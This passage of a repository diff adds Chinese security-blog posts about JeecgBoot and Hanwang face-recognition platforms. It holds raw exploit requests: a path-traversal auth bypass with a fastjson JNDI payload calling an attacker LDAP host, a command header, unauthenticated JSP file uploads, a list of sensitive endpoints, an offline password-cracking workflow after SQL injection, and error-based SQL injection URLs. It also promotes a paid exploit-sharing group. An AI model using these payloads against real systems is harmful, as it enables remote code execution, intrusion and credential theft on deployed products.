+Sec-Fetch-Dest: empty + +Sec-Fetch-Mode: cors + +Sec-Fetch-Site: cross-site + +Priority: u=0 + +Te: trailers + +Connection: close + +Content-Type: application/json;charset=UTF-8 + +Content-Length: 64 + +{"templateCode":"5","testData":"{}","receiver":"","msgType":"1"} + +3、执行模板并查看返回结果 + +GET /jeecg-boot/sys/message/sysMessage/list?_t=1732776144&column=createTime&order=desc&field=id,,,esTitle,esContent,esReceiver,esSendNum,esSendStatus_dictText,esSendTime,esType_dictText,action&pageNo=1&pageSize=10 HTTP/1.1 + +Host: + +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0 + +Accept: application/json, text/plain, */* + +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 + +Accept-Encoding: gzip, deflate, br + +X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao + +Tenant-Id: 0 + +Sec-Fetch-Dest: empty + +Sec-Fetch-Mode: cors + +Sec-Fetch-Site: cross-site + +Priority: u=0 + +Te: trailers + +Connection: close + +Accept-Encoding: gzip +## Jeecg-jeecgFormDemoController存在JNDI代码执行漏洞 + +JEECG 4.0 及之前版本中,由于 /api 接口鉴权时未过滤路径遍历,攻击 者可构造包含 ../ 的 url 绕过鉴权。 因为依赖 1.2.31 版本的 fastjson, 该版本存在反序列化漏洞。攻击者可对 + +/api/../jeecgFormDemoController.do?interfaceTest 接口进行 jndi 注入攻 击实现远程代码执行。 + + +POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1 + +Host:  + +Pragma: no-cache + +Cache-Control: no-cache + +Upgrade-Insecure-Requests: 1 + +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 + +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 + +Accept-Encoding: gzip, deflate, br + +cmd: whoami + +Accept-Language: zh-CN,zh;q=0.9 + +Connection: close + +Content-Type: application/x-www-form-urlencoded + +Content-Length: 77 + +serverUrl=http://xxxxxxxx:8877/jeecg.txt&requestBody=1&requestMethod=GET + +创建如下远程文件,其内容为fastjson代码执行的payload + +{ + +"a":{ + +"@type":"java.lang.Class", + +"val":"com.sun.rowset.JdbcRowSetImpl" + +}, + +"b":{ + +"@type":"com.sun.rowset.JdbcRowSetImpl", + +"dataSourceName":"ldap://10.66.64.89:1389/8orsiq", + +"autoCommit":true + +} + +} +## jeecg-boot/jmreport/upload接口存在未授权任意文件上传 + +测试发现/jeecg-boot/jmreport/upload接口存在未授权任意文件上传,经实测发现上传接口未授权,但访问上传后的文件需要登录,即带token。 + +POST /jeecg-boot/jmreport/upload HTTP/1.1 + +User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html) + +Accept: */* + +Accept-Language: zh-CN,zh;q=0.9 + +Connection: close + +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfyhSCMs9cajzFD4 + +Cache-Control: no-cache + +Pragma: no-cache + +Host:  + +Content-Length: 1476 + +------WebKitFormBoundaryyfyhSCMs9cajzFD4 + +Content-Disposition: form-data; name="file"; filename="11111.txt" + +Content-Type: text/html + +<%! 1111> + +------WebKitFormBoundaryyfyhSCMs9cajzFD4 + +Content-Disposition: form-data; name="fileName" + +11111.txt + +------WebKitFormBoundaryyfyhSCMs9cajzFD4 + +Content-Disposition: form-data; name="biz" + +excel_online + +------WebKitFormBoundaryyfyhSCMs9cajzFD4-- +## Jeecg-commonController.do文件上传 + +由于 /api 接口鉴权时未过滤路径遍历,攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 commonController 接口进行文件上传攻击实现远程代码执行。 + + +POST /jeecg-boot/api/../commonController.do?parserXml HTTP/1.1 + +Host: + +Accept-Encoding: gzip, deflate + +Content-Length: 360 + +User-Agent: Mozilla/2.0 (compatible; MSIE 3.01; Windows 95 + +Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei + +Connection: close + +------WebKitFormBoundarygcflwtei + +Content-Disposition: form-data; "name="name" + +zW9YCa.png + +------WebKitFormBoundarygcflwtei + +ontent-Disposition: form-data; name="documentTitle" + +blank + +------WebKitFormBoundarygcflwtei + +Content-Disposition: form-data; name="file"; filename="zW9YCa.jsp" + +Content-Type: image/png + +11111 + +------WebKitFormBoundarygcflwtei-- +## 常见jeecg-boot常见接口 + +/v2/api-docs + +/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/ + +/jeecg-boot/sys/user/querySysUser?username=admin + +/jeecg/ + +/api/sys/ + +/sys/user + +/v2/api-docs + +/swagger-ui.html + +/env + +/actuator + +/mappings + +/metrics + +/beans + +/configprops + +/actuator/metrics + +/actuator/mappings + +/actuator/beans + +/actuator/configprops + +/actuator/httptrace + +/druid/index.html + +/druid/sql.html + +/druid/weburi.html + +/druid/websession.html + +/druid/weburi.json + +/druid/websession.json + +/druid/login.html + +/api/config/list + +/sys/user/list + +/sys/user/add + +/sys/user/edit + +/sys/user/queryById + +/sys/user/changePassword + +/sys/role/list + +/sys/role/add + +/sys/role/edit + +/sys/role/queryPermission + +/v2/api-docs + +/v1/api-docs + +/api-docs + +/sys/menu/list + +/sys/menu/add + +/sys/menu/edit + +/sys/menu/delete + +/sys/depart/list + +/sys/depart/add + +/sys/depart/edit + +/sys/depart/delete + +/online/cgform/list + +/online/cgform/add + +/online/cgform/edit + +/online/cgform/delete + +/online/cgform/fields/{tableName} + +/online/cgform/table/list + +/online/cgform/table/sync + +/online/cgform/generateCode + +/sys/dict/list + +/sys/dict/add + +/sys/dict/edit + +/sys/dict/delete + +/act/process/list + +/act/process/deploy + +/act/task/list + +/act/task/complete + +/act/task/history + +/sys/common/upload + +/sys/common/download/{fileId} + +/sys/common/view/{fileId} + +/monitor/redis/info + +/monitor/server/info + +/api/test/demo/list + +/api/test/demo/add + +/sys/log/list + +/sys/log/delete + +/sys/sms/send + +/sys/sms/list + +/api/test/demo/edit + +/api/test/demo/delete + +/report/loadReport/{code} + +/chart/api/getChartData + +/api/test/demo/queryById + +/act/process/delete + +/sys/dict/loadDictItems/{dictCode} + +/jeecg-boot/sys/getLoginQrcode + +/jeecg-boot/sys/getQrcodeToken + +/jeecg-boot/sys/login + +/jeecg-boot/sys/phoneLogin + +/jeecg-boot/sys/scanLoginQrcode + +/jeecg-boot/drag/onlDragDataSource/add + +/jeecg-boot/drag/onlDragDataSource/delete + +/jeecg-boot/drag/onlDragDataSource/deleteBatch + +/jeecg-boot/drag/onlDragDataSource/edit + +/jeecg-boot/drag/onlDragDataSource/list + +/jeecg-boot/drag/onlDragDataSource/queryById + +/jeecg-boot/drag/onlDragDatasetHead/add + +/jeecg-boot/drag/onlDragDatasetHead/addGroup + +/jeecg-boot/drag/onlDragDatasetHead/delDragDataSetHeadGroup + +/jeecg-boot/drag/onlDragDatasetHead/delete + +/jeecg-boot/drag/onlDragDatasetHead/edit + +/jeecg-boot/drag/onlDragDatasetHead/queryById + +/jeecg-boot/drag/onlDragDatasetHead/updateGroup + +/jeecg-boot/drag/onlDragDatasetParam/add + +/jeecg-boot/drag/onlDragDatasetParam/delete + +/jeecg-boot/druid/login.html + +/jeecg-boot/drag/onlDragDatasetParam/deleteBatch + +/jeecg-boot/drag/onlDragDatasetParam/edit + +/jeecg-boot/actuator/httptrace + +/jeecg-boot/drag/onlDragDatasetParam/list + +/jeecg-boot/drag/onlDragDatasetParam/queryById + +/jeecg-boot/drag/websocket/sendData + +/jeecg-boot/sys/checkRule/add + +/jeecg-boot/sys/checkRule/checkByCode + +/jeecg-boot/sys/checkRule/delete + +/jeecg-boot/sys/checkRule/deleteBatch + +/jeecg-boot/sys/checkRule/edit + +/jeecg-boot/sys/checkRule/list + +/jeecg-boot/sys/checkRule/queryById + +/jeecg-boot/sys/comment/add + +/jeecg-boot/sys/comment/addFile + +/jeecg-boot/sys/comment/addText + +/jeecg-boot/sys/comment/delete + +/jeecg-boot/sys/comment/deleteBatch + +/jeecg-boot/sys/comment/deleteOne + +/jeecg-boot/sys/comment/edit + +/jeecg-boot/sys/comment/fileList + +/jeecg-boot/sys/comment/list + +/jeecg-boot/sys/comment/listByForm + +/jeecg-boot/sys/comment/queryById + +/jeecg-boot/sys/dataSource/add + +/jeecg-boot/sys/dataSource/delete + +/jeecg-boot/sys/dataSource/deleteBatch + +/jeecg-boot/sys/dataSource/edit + +/jeecg-boot/sys/dataSource/list + +/jeecg-boot/sys/dataSource/queryById + +/jeecg-boot/sys/dictItem/dictItemCheck + +/jeecg-boot/sys/duplicate/check + +/jeecg-boot/sys/files/add + +/jeecg-boot/sys/files/delete + +/jeecg-boot/sys/files/deleteBatch + +/jeecg-boot/sys/files/edit + +/jeecg-boot/sys/files/list + +/jeecg-boot/sys/files/queryById + +/jeecg-boot/sys/fillRule/add + +/jeecg-boot/sys/fillRule/delete + +/jeecg-boot/sys/fillRule/deleteBatch + +/jeecg-boot/sys/fillRule/edit + +/jeecg-boot/sys/fillRule/list + +/jeecg-boot/sys/fillRule/queryById + +/jeecg-boot/sys/formFile/add + +/jeecg-boot/sys/formFile/delete + +/jeecg-boot/sys/formFile/deleteBatch + +/jeecg-boot/sys/formFile/edit + +/jeecg-boot/sys/formFile/list + +/jeecg-boot/sys/formFile/queryById + +/jeecg-boot/sys/position/add + +/jeecg-boot/sys/position/delete + +/jeecg-boot/sys/position/deleteBatch + +/jeecg-boot/sys/position/edit + +/jeecg-boot/sys/position/list + +/jeecg-boot/sys/position/queryByCode + +/jeecg-boot/sys/position/queryById + +/jeecg-boot/sys/quartzJob/pause + +/jeecg-boot/sys/quartzJob/resume + +/jeecg-boot/sys/randomImage/ + +/jeecg-boot/sys/sysDepartPermission/add + +/jeecg-boot/sys/sysDepartPermission/delete + +/jeecg-boot/sys/sysDepartPermission/deleteBatch + +/jeecg-boot/sys/sysDepartPermission/edit + +/jeecg-boot/sys/sysDepartPermission/list + +/jeecg-boot/sys/sysDepartPermission/queryById + +/jeecg-boot/sys/sysDepartRole/add + +/jeecg-boot/sys/sysDepartRole/delete + +/jeecg-boot/sys/sysDepartRole/deleteBatch + +/jeecg-boot/sys/sysDepartRole/edit + +/jeecg-boot/sys/sysDepartRole/list + +/jeecg-boot/sys/sysDepartRole/queryById + +/jeecg-boot/sys/sysRoleIndex/add + +/jeecg-boot/sys/sysRoleIndex/delete + +/jeecg-boot/sys/sysRoleIndex/deleteBatch + +/jeecg-boot/sys/sysRoleIndex/edit + +/jeecg-boot/sys/sysRoleIndex/list + +/jeecg-boot/sys/sysRoleIndex/queryByCode + +/jeecg-boot/sys/sysRoleIndex/queryById + +/jeecg-boot/test/dynamic/test1 + +/jeecg-boot/test/jeecgDemo/add + +/jeecg-boot/test/jeecgDemo/delete + +/jeecg-boot/test/jeecgDemo/deleteBatch + +/jeecg-boot/test/jeecgDemo/edit + +/jeecg-boot/test/jeecgDemo/list + +/jeecg-boot/test/jeecgDemo/queryById + +/sys/user/delete + +/jeecg-boot/sys/user/addSysUserRole + +/sys/role/delete + +/user/register +## 常见jeecg-boot漏洞利用工具 + +https://github.com/Framework-vulnerability-tool/jeecg + +工具介绍 + +jeecg综合漏洞利用工具,程序采用javafx开发,环境JDK 1.8 声明:仅用于授权测试,用户滥用造成的一切后果和作者无关 请遵守法律法规! 漏洞收录如下: + +jeecg-boot queryFieldBySql远程命令执行漏洞 + +jeecg-boot testConnection远程命令执行漏洞 + +JeecgBoot jmreport/loadTableData SSTI模板注入漏洞 + +jeecg-boot-queryTableData-sqli注入漏洞 + +jeecg-boot-getDictItemsByTable-sqli注入漏洞 + +Jeecg-Boot qurestSql-SQL注入漏洞 + +jeecg-boot commonController 任意文件上传漏洞 + +jeecg-boot jmreport任意文件上传漏洞 + +jeecg-boot-querySysUser信息泄露漏洞 + +jeecg-boot-checkOnlyUser信息泄露漏洞 + +jeecg-boot-httptrace信息泄露漏洞 + +jeecg-boot-任意文件下载漏洞 + +jeecg-boot-jeecgFormDemoController漏洞 + +jeecg-boot-v2 P3 Biz Chat任意文件读取漏洞 + +jeecg-boot-v2 sys/duplicate/check注入漏洞 + +jeecg-boot-v2 AviatorScript表达式注入漏洞 + +![1751075977_685f4c89a3ddfff507016.png!small?1751075977796](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHKjQHgEWlojh04mwXGukXpiaz1ibS9boiaFZS2z8SSh5hu81sqsAdrkaHQ/640?wx_fmt=jpeg&from=appmsg "") + +有时候我们检测到了sql注入漏洞但是无法getshell,可以另辟蹊径,直接读取密码文件然后进行解密。 +> https://github.com/ssrsec/JeecgBoot-offline-brute +> 有sqli的端点,但是无法rce以及进一步获得权限,我们可以尝试通过sqli获取凭据从而获得用户级权限 +> 数据库中password +字段是加密的,通过查看源码发现密码使用PBE进行加密,关键是用明文密码作为对称加密key的一个环节,所以没办法直接逆向解密,但是可以离线爆破。 + + +![1751076706_685f4f62e6a2fbd3ea825.png!small?1751076707181](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHVOjzWFUiavrBMlcYrLib8UyWRxGOVvIkvniaGUQ692JT3k4szBhQ4M4icw/640?wx_fmt=jpeg&from=appmsg "") + +![1751076790_685f4fb6870fcd503d064.png!small?1751076791078](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHlkVXiccSknPfXd7L58fTYBd0DsZvu9dtX3uE2kHDRKXPzJ0GUNZhPzQ/640?wx_fmt=jpeg&from=appmsg "") + +![1751076815_685f4fcf627fac22a8605.png!small?1751076815671](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHuojM2LUWSJZZDkShCricfiaJtjLACztTwJr4ILVZRl6BiadI2lmdZ4uDQ/640?wx_fmt=jpeg&from=appmsg "") + +实现过程 + + +过程非常简单,直接捞出加密过程,然后通过sqli将数据库中的用户名 +、加密后的密码 +、salt +取出来,然后直接用字典跑就行~ + +先取出对应的数据,放到根目录下的data.json +,然后准备一个字典,放到根目录下的pass.txt + +![1751076917_685f5035d5ee244d2f0d3.png!small?1751076918516](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHMWQWEQJ8Iva2wGx2ypHibd6Dpo3NwNnoRcDptSniaEGIibB1BFWMOibvSg/640?wx_fmt=jpeg&from=appmsg "") + +![1751076938_685f504a3096e14cc57a7.png!small?1751076938439](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHxknicib7PuibASmA2HZkezW4R8A0ULfSic4CefuVPI3jRsNV4XSsM2rwXA/640?wx_fmt=jpeg&from=appmsg "") +``` +java -jar JeecgBoot-offline-brute.jar +``` + +![1751077062_685f50c6bdf487fa91563.png!small?1751077063418](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHib9KVgKLzib1Hd2x42dY13qt6mYibufH5OODtIopXeYLUfyuBZjlut2dA/640?wx_fmt=jpeg&from=appmsg "") + + +**内部小圈子详情介绍** + + + +我们是 +神农安全 +,点赞 + 在看 + 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。 + +![](https://mmbiz.qpic.cn/mmbiz_png/mngWTkJEOYJDOsevNTXW8ERI6DU2dZSH3Wd1AqGpw29ibCuYsmdMhUraS4MsYwyjuoB8eIFIicvoVuazwCV79t8A/640?wx_fmt=png&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap086iau0Y0jfCXicYKq3CCX9qSib3Xlb2CWzYLOn4icaWruKmYMvqSgk1I0Aw/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**内部圈子介绍** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap08Z60FsVfKEBeQVmcSg1YS1uop1o9V1uibicy1tXCD6tMvzTjeGt34qr3g/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +**圈子专注于更新src/红蓝攻防相关:** + +``` +1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例 +2、知识星球专属微信“小圈子交流群” +3、微信小群一起挖洞 +4、内部团队专属EDUSRC证书站漏洞报告 +5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防) +6、分享src挖掘技巧tips +7、不定期有众测、渗透测试项目(一起挣钱) +8、不定期有工作招聘内推(工作/护网内推) +9、送全国职业技能大赛环境+WP解析(比赛拿奖) +``` + + + + +**内部圈子** +**专栏介绍** + +知识星球内部共享资料截屏详情如下 + +(只要没有特殊情况,每天都保持更新) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibRSekfPpgmzg6Pn4yH440wEZhQZaJaxJds7olZp5H8Ma4PicQFclzGbQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibgpeLSDuggy2U7TJWF3h7Af8JibBG0jA5fIyaYNUa2ODeG1r5DoOibAXA/640?wx_fmt=png&from=appmsg "") + + +**知识星球——** +**神农安全** + +星球现价  +¥45元 + +如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌 + +星球人数少于900人 45元/年 + +星球人数少于1000人 60元/年 + +(新人优惠卷20,扫码或者私信我即可领取) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWU0bsia0ju14OCUfVMSnyJJX4SAHwM2uxfzyQ99oMpk5ib5iavqd6nQicUWV26KKYYvm9e9AkIXKBYFBg/640?wx_fmt=png&from=appmsg "") + +欢迎加入星球一起交流,券后价仅45元!!! 即将满900人涨价 + +长期 +更新,更多的0day/1day漏洞POC/EXP + + + +**内部知识库--** +**(持续更新中)** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFu12KTxgSfI69k7BChztff43VObUMsvvLyqsCRYoQnRKg1ibD7A0U3bQ/640?wx_fmt=png&from=appmsg "") + + +**知识库部分大纲目录如下:** + +知识库跟 +知识星球联动,基本上每天保持 +更新,满足圈友的需求 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFhXF33IuCNWh4QOXjMyjshticibyeTV3ZmhJeGias5J14egV36UGXvwGSA/640?wx_fmt=png&from=appmsg "") + + +知识库和知识星球有师傅们关注的 +EDUSRC +和 +CNVD相关内容(内部资料) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFKDNucibvibBty5UMNwpjeq1ToHpicPxpNwvRNj3JzWlz4QT1kbFqEdnaA/640?wx_fmt=png&from=appmsg "") + + +还有网上流出来的各种 +SRC/CTF等课程视频 + +量大管饱,扫描下面的知识星球二维码加入即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFxYMxoc1ViciafayxiaK0Z26g1kfbVDybCO8R88lqYQvOiaFgQ8fjOJEjxA/640?wx_fmt=png&from=appmsg "") + + + +不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞? + +直接加入我们小圈子: +知识星球+内部圈子交流群+知识库 + +快来吧!! + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJ5wUOL9GnsxoXibKezHTjL6Yvuw6y8nm5ibyL388DdDFvuAtGypahRevg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJO0FHgdr6ach2iaibDRwicrB3Ct1WWhg9PA0fPw2J1icGjQgKENYDozpVJg/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1 "") + + +神农安全知识库内部配置很多 +内部工具和资料💾, +玄机靶场邀请码+EDUSRC邀请码等等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDNtEt0PfMwXQRzn9EDBdibLWNDZXVVjog7wDlAUK1h3Y7OicPQCYaw2eA/640?wx_fmt=png&from=appmsg "") + + +快要护网来临,是不是需要 +护网面试题汇总 +? +问题+答案(超级详细🔎) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDbLia1oCDxSyuY4j0ooxgqOibabZUDCibIzicM6SL2CMuAAa1Qe4UIRdq1g/640?wx_fmt=png&from=appmsg "") + + +最后,师傅们也是希望找个 +好工作,那么常见的 +渗透测试/安服工程师/驻场面试题目,你值得拥有!!! + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDicYew8gfSB3nicq9RFgJIKFG1UWyC6ibgpialR2UZlicW3mOBqVib7SLyDtQ/640?wx_fmt=png&from=appmsg "") + + +内部小圈子—— +圈友反馈 +( +良心价格 +) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8Hviaqs0Uv6F4NTNkTKDictgOV445RLkia2rFg6s6eYTSaDunVaRF41qBibY1A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8HviaRhLXFayW3gyfu2eQDCicyctmplJfuMicVibquicNB3Bjdt0Ukhp8ib1G5aQ/640?wx_fmt=png&from=appmsg "") + + +**** +**神农安全公开交流群** + +有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群) + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWVED9b2pQcIicYSpecBvsgjoKVqQwoTMrP4ib6NKzia8NLsUo6Z1ykmp2rpHPyNNgKeoKWpzOrgZQ0Q/640?wx_fmt=jpeg&from=appmsg "") + +   +``` +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/b7iaH1LtiaKWW8vxK39q53Q3oictKW3VAXz4Qht144X0wjJcOMqPwhnh3ptlbTtxDvNMF8NJA6XbDcljZBsibalsVQ/640?wx_fmt=gif "") + + diff --git a/doc/2025-07/汉王EFaceGo upload.do 任意文件上传漏洞.md b/doc/2025-07/汉王EFaceGo upload.do 任意文件上传漏洞.md new file mode 100644 index 00000000..2d1cee2c --- /dev/null +++ b/doc/2025-07/汉王EFaceGo upload.do 任意文件上传漏洞.md @@ -0,0 +1,113 @@ +# 汉王EFaceGo upload.do 任意文件上传漏洞 +Superhero Nday Poc 2025-07-08 02:36 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担! + + +**01** + +**漏洞概述** + + +汉王EFaceGo upload.do 接口存在文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。 + +**02****** + +**搜索引擎** + + +FOFA: +``` +icon_hash="1380907357" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ4b8icH7cEfBYFI6EYX7RyBj5R6aWXSTnXABmuR534r89HrCqwu22gyVLKM0Pel3g09icUq4nc4BrA/640?wx_fmt=png&from=appmsg "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ4b8icH7cEfBYFI6EYX7RyBdJf1Uz6Q2lduTfsO4hcoqpBluTDVdyyic3ibpnElUMKfS7Tq1LhAxcPQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ4b8icH7cEfBYFI6EYX7RyB0eKPl0piaa9JwM9Tj6osbeYtEzaVK0AWIg4ouacV7ZWWA7FfVTzFQCg/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ4b8icH7cEfBYFI6EYX7RyBgOMQQgpwegyZODTuuzKJoAoP25UgdSyyYO9bATicuD4PBcW6bjiaxsFQ/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ4b8icH7cEfBYFI6EYX7RyBXktPgYTD6gOvRHU5kXdIia3ibFvPsiaryMLpw2lHDzDgiaOoQPdsrmZtxg/640?wx_fmt=png&from=appmsg "") + +xray + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ4b8icH7cEfBYFI6EYX7RyBD0WfPUdggqy1HApicyo0KRW3T50xCUQzibFI7nMLLriaAfia1tQSIVeJCQ/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + + +**06****** + +**内部圈子介绍** + + +【Nday漏洞实战圈】🛠️  + +专注公开1day/Nday漏洞复现 + · 工具链适配支持 + + ✧━━━━━━━━━━━━━━━━✧  + +🔍 资源内容 + + ▫️ 整合全网公开 +1day/Nday +漏洞POC详情 + + ▫️ 适配Xray/Afrog/Nuclei检测脚本 + + ▫️ 支持内置与自定义POC目录混合扫描  + +🔄 更新计划  + +▫️ 每周新增7-10个实用POC(来源公开平台)  + +▫️ 所有脚本经过基础测试,降低调试成本  + +🎯 适用场景  + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗  +▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧  + +⚠️ 声明:仅限合法授权测试,严禁违规使用! + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwLPY8sPcY4oefuxAsSuKAB7iaZKib6gc6czUyVAX8ziciaiaPl4ktAEKwoshTGQcBQsde7PNS1VxibtsjEA/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp "") + + diff --git a/doc/2025-07/汉王e脸通综合管理平台SQL注入漏洞.md b/doc/2025-07/汉王e脸通综合管理平台SQL注入漏洞.md new file mode 100644 index 00000000..2b6258ea --- /dev/null +++ b/doc/2025-07/汉王e脸通综合管理平台SQL注入漏洞.md @@ -0,0 +1,27 @@ +# 汉王e脸通综合管理平台SQL注入漏洞 +安全透视镜 网络安全透视镜 2025-07-07 13:52 + +queryManyPeopleGroupList接口SQL注入 + +POC: +``` +/manage/authMultiplePeople/queryManyPeopleGroupList.do?recoToken=67mds2pxXQb&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357)) +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/apNprpz3YS4yghbW9UzIgH1zjlurthTKiaqb6ibicXZcbTrFo4sfYqG0SgeekKxTTDC8jWqibH3Bm1KbMgFSwSAkow/640?wx_fmt=png&from=appmsg "") + + +getGroupEmployee  SQL注入 +``` +/manage/authMultiplePeople/getGroupEmployee.do?recoToken=67mds2pxXQb&page=1&pageSize=10&groupId=1&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357)) +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/apNprpz3YS4yghbW9UzIgH1zjlurthTKQib5vmZYXlPfqr0Io6PEicergFuDtBVW09sjaU4GaZbQPwtUhn0wyFDg/640?wx_fmt=png&from=appmsg "") + + +# 文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 + + 